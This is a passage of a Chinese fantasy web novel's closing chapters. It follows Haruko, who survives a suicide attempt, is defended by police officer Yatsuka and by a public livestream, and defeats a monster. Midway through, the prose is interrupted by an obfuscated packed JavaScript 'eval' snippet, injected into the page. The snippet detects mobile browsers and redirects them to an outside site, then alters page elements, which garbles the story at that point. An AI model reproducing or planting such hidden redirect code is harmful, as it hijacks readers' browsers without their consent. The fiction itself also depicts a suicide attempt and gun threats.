谁知,上面来人之时,早有人去告知了在医院处理伤口的八塚玄,此刻他一脚踢开房门,带着无名警察持枪瞄准了防卫省那两人,“我不同意。” 防卫省的人怒极反笑,“你明不明白现在是什么状况?难道你们人在这站着说话不腰疼,就可以对现状熟视无睹吗?还有你这是什么意思,搞清楚自己的身份。” 八塚玄也笑了,他快步上前直接用枪顶住了那人的脑门,“我什么意思,站着说话不腰疼?你现在看见的这些就是我的全部弟兄了,你算什么东西也配说出这种话?” “你明明知道现在的状况意味着什么,还要这么做吗!“ “闭嘴。”八塚玄的眼神仿佛能杀人一般,“你了解怪人的什么,你又了解晴子的什么,在此之前对怪人事件一直高高挂起的各位,在自己人出事之后才开始坐不住了,早干嘛去了?我可以明确告诉你,没有晴子我们的人早就不知道死了多少了,这个女孩我硬保了,谁敢动她,我拼上性命也要杀了他。” 大楼上,风吹得人难受。已经很久没遇到这么冷的风了,不但令人感到手脚冰凉,还混杂着相当难闻的气味。向下看去,汽车小得如同米粒,假如从这里掉下去,任何人都不会有生还的可能。 晴子将目光收回,看了看头顶的天空,那还未完全落下的夕阳,恐怕已经是最后的璀璨红日。赤色洒满了天空,亦如汹涌的烈焰燃烧着云朵,只要再有一步,所有的事就会得到解决。她犹豫吗?当然,但是她已经别无选择,所有人都在面对自己和自己家人创造的恶魔,只有自己做出了选择,才能救得了这众生。 她看看远处的云海,看看林立的高楼,看看杂乱的街道,她的脑海里出现了大家的面容,大家都冲她笑着,夸奖着她,诉说着她是英雄。可突然父母的脸猛地冲出,也是冲她微笑着,但越发扭曲,笑声越来越大,最终变为了诡异的流着黑色液体的双眼却咧开了嘴扑向了她。 终于,她收回了自己的目光,轻吐一口气,缓缓闭上了双眼。 “明天,应该是个晴天吧。” 20. 希望 不知不觉已经入夜了,怪人终于停止了下来,能转移的人都转移了,能藏起来的人也都藏了起来。不知是不是因为在一定范围内真的没有任何活物能在外面活动,怪人只是仰头看着天空。 码头上,一辆警车停了下来。风夏、英梨和黑木都走下车,那个女孩正站在那里。 风夏缓缓靠近,在还有五米左右的地方停了下来,只是温柔地说:“回家吧。” 晴子没有回头,但是突然变得有些局促的背影映照着她不平静的内心。 “晴子,别担心,我们来了。” 晴子咬紧了嘴唇,手用力地拽着自己的衣摆,又慢慢松开来。她缓缓地转过身,已是泪眼婆娑,看起来十分憔悴。 “为什么……知道我在这呢?” 风夏微笑道:“还记得你有一阵子不去帮助别人也没有在战斗吗?那阵子我们来过这里,你说过,在这里看着这片海可以为你带来平静,直到要走的时候仍旧十分留恋。” “那种事,你还记得啊。”晴子偏开目光,想要逃避似地看向旁边的地面。 “我当然记得,我怎么会忘记呢,我们走过的这些日子,对我来说都是不可替代的宝物。” 晴子并没有接话,她也不知道应该说些什么。 风夏再次开口,“回家吧,晴子,我们一起。” 但晴子却摇了摇头,“我并没有那样的资格。” “为什么?” “因为……我害怕了。”晴子的泪水越发止不住,她一边抽泣着一边说,“我居然害怕了,明明我只要从楼上跳下去就结束了,可我却没能有迈开那一步的胆量,明明是我必须承担的责任!我……” 风夏没有任由她说下去,冲过去一把将她搂入怀中,晴子终于忍不住号哭起来。听着这一声声的痛苦,别说风夏也忍不住湿了眼眶,就连黑木都不忍再看下去。英梨的身体还非常虚弱,此刻的她因为又临时战斗了一场而负伤,此时只能靠黑木搀扶着才能勉强站起。她暗自懊恼,都怪自己太过弱小,才让晴子甚至走到了寻死的地步。 待晴子好些了,风夏轻声道:“不要自己去扛,我们都在你的身边,每个人都在用自己的方式战斗着。” “可是我到头来谁也没能拯救,让这么多人因我而丧命,我却好好地在这里站着,之前还因为英梨说我是英雄而沾沾自喜,我真的是太恶劣了。” “真是让人听不下去呢!” 又一个女孩下车了,原本她很紧张,她觉得自己不配参与进来,可是又担心得不得了,最终还是拨通了风夏的电话。后藤梨沙鼓起勇气走过去,眼前这个正在寻求帮助的,不正是曾给予自己光芒的人吗? 她将右手放在自己的胸口大声说:“什么谁都没能拯救,被香月同学拯救的我不就站在这里吗!或许香月同学已经不记得我是谁了,但是我必须要说,在我眼里香月同学就是我一生的光芒!” “是……后藤同学吗?” 梨沙听见了这一句,心里猛地一暖,越发心疼了起来,“我已经听说了,像我这样的人,香月同学不知道已经拯救了多少,不管你还有没有见到他们,他们被你拯救都是事实,很多人可以说被你延续了生命都不为过!连他们都没有放弃,为什么你要放弃自己呢?” 黑木也点点头道:“是啊,我还记得你曾在机场,拖着已经破破烂烂的身体告诉那个人不要放弃,你还记得那时的你吗,你或许不知道那时的你在我眼里是多么耀眼。” “可是,又有几个人会这样想呢?我看过了,网上的人都说我该死。” “为什么要在意那些人的话呢!而且,那都不是我们的想法,我们可不是这么说的啊。”沙梨将手中的平板点亮,然后快跑过去双手举在在晴子的面前,“看吧,是时候了。” 风夏慢慢放开晴子,转而和她一同看向屏幕,这是约定好的时间,江口原梦会开始一场公开直播,选址在一个地下设施,到场的还有小林义树和放着千羽麦虚拟形象的屏幕。为了实时知道怪人的话状态能够给予应对,特意设置了单独的屏幕连接了官方无人机对怪人的实时拍摄画面。 直播已经开始了有一阵子了,台下挤满了观众,现场稍微有些乱,似乎已经进行了不少交锋,只听见江口原梦说:“她就是拯救了我,我已经说了,我们都被她所救,我会坚定地支持她。” 小林义树同样目光坚定,“是的我相信她的力量。” 台下有人立即反驳道:“都是你们的一面之词,要我说,你们也应该死!” 台下的众人刚开始附合起哄,可立即千羽麦的声音就从屏幕里传了出来,“闭嘴!” 这如此反常的声音完全不像是平时的千羽麦,巨大的反差感让会场全体安静了下来。屏幕后的渡边由乃不屑地将啤酒杯砸回桌上,“没完没了的真烦啊,有指责别人的功夫不如自己去战斗如何呢?只会指责别人,只会一味地叫嚣,如果互换了立场你们又能做到什么呢!” “可现在她成为了威胁是事实,你们难道要忽略这样的事实吗?” “那又如何呢!”人群里,星川贤人猛地站起身,“我也曾是被拯救的一员,你看过她和怪人的战斗吗!你知道她身上被开了个洞都在告诉我不要放弃吗!为什么要一直指责下去呢?难道现在不是我们共同想办法去拯救她的时候吗?” 趁此机会,成田真白也站起来,“我是一个心理咨询师,晴子和她的同伴直到今早都在前往各个心理咨询场所了解情况,哪怕不是与怪人相关的人,她也在同样给予着关心,直到这个怪人产生的前一刻恐怕都在为他人而奔波,这难道就是我们给予她的回馈吗?一个还未成年的孩子都能做到这个地步,我们这些成年人再这么下去就不觉得害臊吗?” 有人低下头去,有人窃窃私语,但仍旧有人站起来质疑道:“别开玩笑了,都是你们这些之前的罪魁祸首在替她说话,我们这些无辜的人凭什么被你们弄得无家可归!” “就是就是!” 正当底下的人又在蠢蠢欲动的时候,一个声音从门外传了进来,“那是因为痛苦没有落在你的头上。” 大家向门口看去,发现是八塚玄带人走了进来。他看了一眼星川,赞许地报以微笑,当大家都陷入焦急的时候,他主动跑来警视厅希望能够组织一场为晴子说话的直播,通过提前把能聚集到的人都先聚集在这,来保证当晴子被找到的时候能够看到有人在替她说话。 就在刚才,黑木联系了星川,而星川又联系了他,为的就是在有杠精起哄停不下来的时候能有人突然压制住场面。 “你们中或许有人不认识我,我是警视厅的八塚玄,一直担任与怪人的作战,在怪人的事情上,我最有发言权。我也可以明确地告诉你们,警视厅的态度就是力保香月晴子。” 此言一出,底下又是炸开了锅,在台下本就有防卫省派来的人,但是此时只见八塚玄而不见自己人,这让他有种不好的预感。正想着,八塚玄已经命人将文件传输完成,将这东西在大屏幕上公布,发现是一段视频。 “光是自己猜有什么用,你说巧不巧,我们警察在怪人事件中能记录到的一直都有记录。” 他按下遥控器,视频开始播放,大家清楚地看见晴子变身为怪人的形态,与其他的怪人进行了一场又一场的战斗。很多次战斗结束,她都会在原地僵住,过一段时间才重新开始活动。 有想挑事的人就看中了这一幕,“大家注意到了吗,她每次打完都会在原地发呆,说不定她早就已经被怪人控制了,警方居然没有发现这一点,最终酿成了这样的大祸。” 八塚玄听见这句话都要笑出声了,从没见过这么配合自己的人。他立即走到那个人身边,略微弯腰从上而下盯住那个人的眼睛,一下子给了那个人一股压迫感,“偏偏这件事警方重点关注,你知道为什么吗,因为她呆住的那段时间是在感受那些人的痛苦。” 他直起身子,一边扫视着众人一边说:“她亲口告诉过警方,她在战胜怪人后会被迫完整地体会到当事人所经历的痛苦,即便是这样她还是在与怪人战斗,你们中又有几个人有这样的觉悟和善心呢?” 有个人小声嘟囔了一句,“切,那能有什么大不了的。” 八塚玄立即快步走到他身边,“你认为自己可以随便做到?” “当然。”那人站起来把脖子一伸,一副天不怕地不怕的样子。 可没想到八塚玄掏出手枪就上了膛,然后对着自己的左臂就是一枪。这一幕吓坏了在场的人,一下子让不少人都发出了尖叫。随后,他将枪口直接对准了那个人的左臂,“你准备好了吗,到你了。” “你想干什么!”那人害怕地赶紧就要跑开,但两名警察早已待命,直接将他双臂擒住。 八塚玄将枪口触碰到他的手臂,面无表情道:“给你五秒钟做心理建设,就连晴子都没有这么好的待遇,五秒后我就打穿你的手臂。” “五,四,三……” 那人看着八塚玄胳膊上还在流血的血洞,伴随着倒数疯狂地刺激着他的神经,令他呼吸越来越急促,而当那一声“一”落下的时候,他控制不住地大声吼叫了出来,身体疯狂地想要往回缩。 “真是无能。”八塚玄收回了枪,只是鄙视地看了他一眼,两个警察也把他像是死狗一样丢在地上,汗水早已浸透了他的衣衫。 又按了一下遥控,下一个视频开始播放,那正是星川引发的战斗。画面中的晴子保持着怪人的形态,众人就看着晴子的身体有个大洞,鲜血从其中流出,但还是在拼命地告诉星川不要放弃。所有人终于沉默了,终于开始正视这个女孩和他们自己,终于不再有人大放阙词。 江口原梦见状说:“她真的已经做了许多了,她一直抚平着很多人的内心,将他们拉出深渊,现在轮到我们来支持她了。我想,她现在应该就在看这场直播,我一定会为她加油到最后的。” 小林也看向镜头,“我始终相信着,你一定不会败给自己的内心,因为正是不断战斗着的你们将我回归正途。” 八塚玄走到镜头前,对镜头报以微笑,这些人从未听到过他这么温柔的声音,“晴子,要不要讲两句呢?” 晴子的情绪已经不知不觉平稳了下来,此刻也是一愣。黑木打开车灯,灯光刺得她眯了眯眼睛,但很快适应,毕竟不是直直地找着,而是从侧面打出了光。 风夏笑着说:“说两句吧,就当是为了那些支持者你的人。” 梨沙将平板上的视频按钮打开,原来这并非是直播的镜头,而是特地为她准备的视频会议的设备。当她的脸出现在现场的屏幕上,大家才第一次有机会看见这个一直出现在话题中的人。 “啊,啊——不知道大家能否听见我的声音呢?” 八塚玄便道:“可以。” 晴子做了个深呼吸正色道:“每个人大概都有自己痛苦地地方吧,有些人过得幸福,有些人过得不幸福。我见过太多太多的不幸,不知道有多少人一念之间就会走向死亡。但我都不遗余力地去救了,不管是谁,因为心中的痛苦而失去了生命也太可惜了不是吗?我始终相信着希望总会到来,我始终相信着那些人值得被拯救。 我真的很抱歉,我终究是没能抑制住内心的黑暗,也挺讽刺的不是吗,拯救别人的人却救不了自己什么的,哈哈,我也真是没什么能力呢。不过,我不会放弃的。不知道现在还有多少感到绝望的人,我会向你们展示一个不屈的我。尽管我也想过放弃,但是现在不会了。我比较笨,不会说太多漂亮的话,总之请大家看着吧,我一定会和同伴们想办法战胜这个怪人,夺回我们的家!” 晴子深深地鞠下一躬,旁边的风夏也一同鞠躬致意。不知道是谁小声说了一句,“加油啊。” 虽然真的是很小的一声,可就像是丢进池塘里的石头,激起了道道波纹。 “加油啊!” “是啊,一定要加油啊!” “不要认输啊!” “一定要赢啊!” 加油声渐渐越来越大,大家的情绪越发热烈,终于将一片死水般的内心点燃了熊熊的斗志,哪怕是看着直播的守着屏幕的大家都暗自握紧了拳头。就像是终于让情绪有了一个出口,现场一下火爆了起来。 在别的地方,谦太和弘树如同大人一般一起忙前忙后照顾着众人,青木在地下的livehouse安抚着每个人的情绪,北村惠美帮着消防员们一起搜索救灾,广濑由美在保育园中像是老鹰一样为没来得及接回家的孩子们撑起臂膀,结衣在某家敬老院中照看着老人们,她记得这是千鹤一直在做的事情。 晴子慢慢直起身,她的脸上终于重新找回了由衷的笑容,振奋内心的力量在胸口澎湃,让远方的怪人放出的气场骤减了几分。 这时,风夏的胸口突然闪了一下光,大家分分看过去,风夏将自己的项链拿了出来。 英梨大惊,“斩恶奸鬼!居然到了这个地方!” 风夏连忙问道:“你认识这个项链吗?” “当然,当然了,这是我的爸爸在族里的高手们辅助下,用了自己十年的生命力量,最后由妈妈送出来的。” 项链发出的光越发地盛,然后一个男人像是发着光的灵魂状态出现在了众人眼前。 “爸爸!” “英梨。”英梨的父亲笑着看过去,“累了吧,灵力都用尽了,好好休息吧。” “爸爸,这到底是……” 英梨的父亲看向晴子,摸摸晴子的头,“辛苦了,香月家的孩子,别担心,我来帮你了。”晴子感觉到一股强大的安全感和温暖的感觉从全身涌了出来,仿佛这个男人的话有什么魔力一般。 “既然我得以现身,看来你已经准备好了,太多的话我无法为你解释,十一年前长老的预言就准备好了这一切,我的时间很有限,现在要做的就是驱逐出你身体中的恶气,至于后面的战斗,就要靠你了。” 晴子用力点点头,但还是问出一句,“为什么不是英梨呢?” 英梨的父亲露出了和蔼的面容,“因为要战胜你的,一定是你自己。” 没有多言,不管是现场的几人还是无数通过转播看着这一幕的人都屏住了呼吸。他收起笑容,负手而立,用右手打了一个响指,那项链的挂坠部分就直接从链子上脱落,直接飞进了晴子的胸口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266100|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 霎时间,晴子的胸口冲出了大量的发着暗红色光的如同恶灵的灵体。 “灭。” 仅是简单的一声令,那些尖啸着的灵体就纷纷化作了烟。与此同时,那个沉寂的怪人突然看向了某个方向,然后开始想那边迈开步伐,紧接着就是狂奔。 有人注意到了这件事,众人的心一下子提了起来,不知道发生了什么的晴子也有些紧张了起来,但英梨的父亲却轻轻摇摇头笑道:“没事的。” 晴子重新集中精神到自己身上,她觉得有一股底力在渐渐从自己的身上积累着,并且身体越来越轻松。很快,这个过程结束,一切归于平静,在晴子的右手上出现了封魔一族的族纹,发着淡淡的白光。 “接下来就交给你了,战斗之时只要呼唤那个名字就好。”他又看向英梨,“看见你活下来了,爸爸就放心了,以后的日子要幸福啊。” “嗯!” 没有再多的言语,这个男人便化作光点消散在了众人面前。 风夏这才走过来,“晴子……” “嗯,我会赢的。风夏,你们躲远一些,不过也别太远了,我还想要你们能陪在我身边。” “放心吧,我们会好好地看着你的。” 怪人在以不可思议的速度袭来,几人连忙开车离开了这里,为晴子的战斗留下了足够的空间。 等车停下来,所有人都紧张地看着晴子的方向,很快怪人就已经接近了这里。晴子感受到了那力量离自己已经越来越近,她看了一眼手背上的族纹,或许这将成为她身为封魔师的第一战也不一定。一个画面从她的脑海中浮现,那正是英梨父亲的封魔法身。 风夏还是紧张地不得了,她再次担心地说:“真的没问题吗?” “一定没问题的。”英梨坚定地说,“我相信大家的实力,更相信爸爸的实力,那可是那么多人用心血打造的圣物,妈妈拿在手上的时候就告诉我,这东西灵力庞大,似要祓尽神魔,又因其为灭却恶念而生,故其名为……” “斩恶奸鬼!”晴子看见了那漆黑的身影,她高举右拳,族纹绽放圣光,她的眼中没有丝毫的恐惧,存在的只有与同伴们共同迎来明天的决意,“变身!” 圣光洒在她的身上,灵力流转她的全身,封魔法身与类似怪人的旧样貌融合,将她变成了一个白色的战士,手中持剑,背后披风展开,仿佛刺破黑暗的圣骑。 双方瞬间碰撞在一起,两把剑都带着庞大的力量。双方交手十几招,并没有分出高下,怪人发出尖啸,想要靠声波取得优势,但晴子只是用左手打了个响指,怪人发出的力量就直接反将它自己震飞出去。 晴子不会错过机会,立马飞身跟进,此刻的她感到自己无所不能。怪人也不是省油的灯,立即身体化为烈火反扑过来。可这招晴子就没见过了吗?她沉稳地判断着怪人本体所在的位置,一剑展开了火焰,将怪人的本体挑飞。 怪人在空中身体突然变得坚硬,一个违背惯性的急落砸了下来。晴子撤步躲开,顺势斩下一剑。怪人的身体化作流水般的状态擦过了一剑,反手挥剑攻来。 晴子提气凝神,“纷飞斩。” 英梨父亲的绝技之一被她瞬间施展,怪人也以快剑应对,双方以人眼完全跟不上的速度向着对方发动攻击,但晴子浑身依旧,怪人踉跄着退开,身上的六个伤口止不住地冒着黑烟。 它一个大跳后撤,一剑挥出火蛇,那阵势比当初晴子能打出的火蛇不知道大了多少。但晴子只是看着蛇头摆好架势,带动剑上的灵力自下而上向着蛇头冲去。剑刃就像是被激流阻挡了一般难以前进,然而她发出怒吼,一剑将庞大的火蛇从中斩为两段,剑气像是被甩在了怪人身上一般,留下了发着强光的竖着的贯穿上下的剑伤。 怪人挣扎着,仿佛非常痛苦。晴子一步步走过去,举起了剑,“该退场了。” 这一剑很快但又仿佛很慢,看见这一剑的人仿佛从那道流光留下的痕迹中中看到了几十个画面,等反应过来时,晴子面前已经没有任何敌人,只剩下散入空中的轻烟与映在空中的明月。 太阳照常升起,很多人都没料到自己真的还可以看到第二天的太阳,黑木轻轻拉开窗帘,警视厅中的大家都笑了出来。八塚玄收到处分,但他本身没有任何后悔,部下都为他求情,没有任何人觉得自己做错了。 仍是海边,几个女生一起站在那里,一切尽在不言中,仅是这份景色就值得为之战斗。 晴子先开口,“结束了。” “是啊,终于结束了。”英梨也同样感叹。 大家都笑了起来,无数想法冒了出来,接下来晴子就可以以封魔师的身份去战斗了,再也不会有任何负担,真的能够成为这个世界的英雄,但她还是只说出了一句话,“饿了。” 风夏便道:“毕竟昨天你就没有还好吃饭呢,忙了一晚上,去吃好吃的吧!”她看了一眼有些期待又有点拘谨的梨沙,“一起来吧。” “嗯!” 在此之后,江口和小林都顺利复出,而千羽麦的直播风格从清纯甜美变为了大姐头,没想到人气反而上升得厉害,转眼就站上了公司内的顶点。 两年后,警视厅中的大家还在日常忙碌,怪人的消息再也没有过了,至少再也没有阴魔能够具象化了。 敲门声传来,大家都看向那个方向,一个熟悉的笑容出现在大家的面前。 “我叫香月晴子,今天开始就是大家的同事啦!” “欢迎!” 黑木正要冲过去,八塚玄就已经到了晴子的眼前,“恭喜。” “你这家伙。”黑木笑着硬是将他向旁边挤开一点,“我们当然是很欢迎了,没想到你选择了警察的道路呢。” “嗯,我觉得既然曾经发生过那样的事,就算我自己并非罪魁祸首,但那毕竟是我的父母犯下的罪行,我希望能够成为一名警察,用我的一生为正义而战斗,余下的日子还请多多指教。” 黑木带了些心疼但也带了些欣慰,“真是的,你这家伙就是太较真了。” “哪里。”晴子认真地说,“这正是我必须要做的赎罪。” “喂,你们,赶紧进来坐啊,站在门口算什么。” 听见厅长的招呼,众人连忙回到屋中,大家和晴子久违地聊了起来。 一个选拔现场,风夏停下了动作,这正是真正的偶像甄选,她终究还是走上了自己喜欢的道路,评委们皆对其很满意,恐怕要不了多久就能看到她的出道演出了。 剧团中,英梨与梨沙正在小林的指导下排练舞台剧,江口也特意来看。英梨本就有一定的舞台经验,没想到梨沙的潜力也那么强,她也在暗地思考能否拉这两个女孩一把。 每个人都享受着属于自己的生活,几个女孩的关系也越来越亲密,风夏的母亲在家中准备着食材,家里已经换了大房子,她也不再操心公司的事了,毕竟要给三个宝贝女儿做好饭,不努力点可不行。 某处,并非这世间之地,在一个鸟唱枝头的树荫下,两个墓碑立在那里,那里纪念着为那场胜利做出巨大贡献的一对夫妇,在沉眠之处阳光洒落,在花瓣的底下已然冒出了新芽。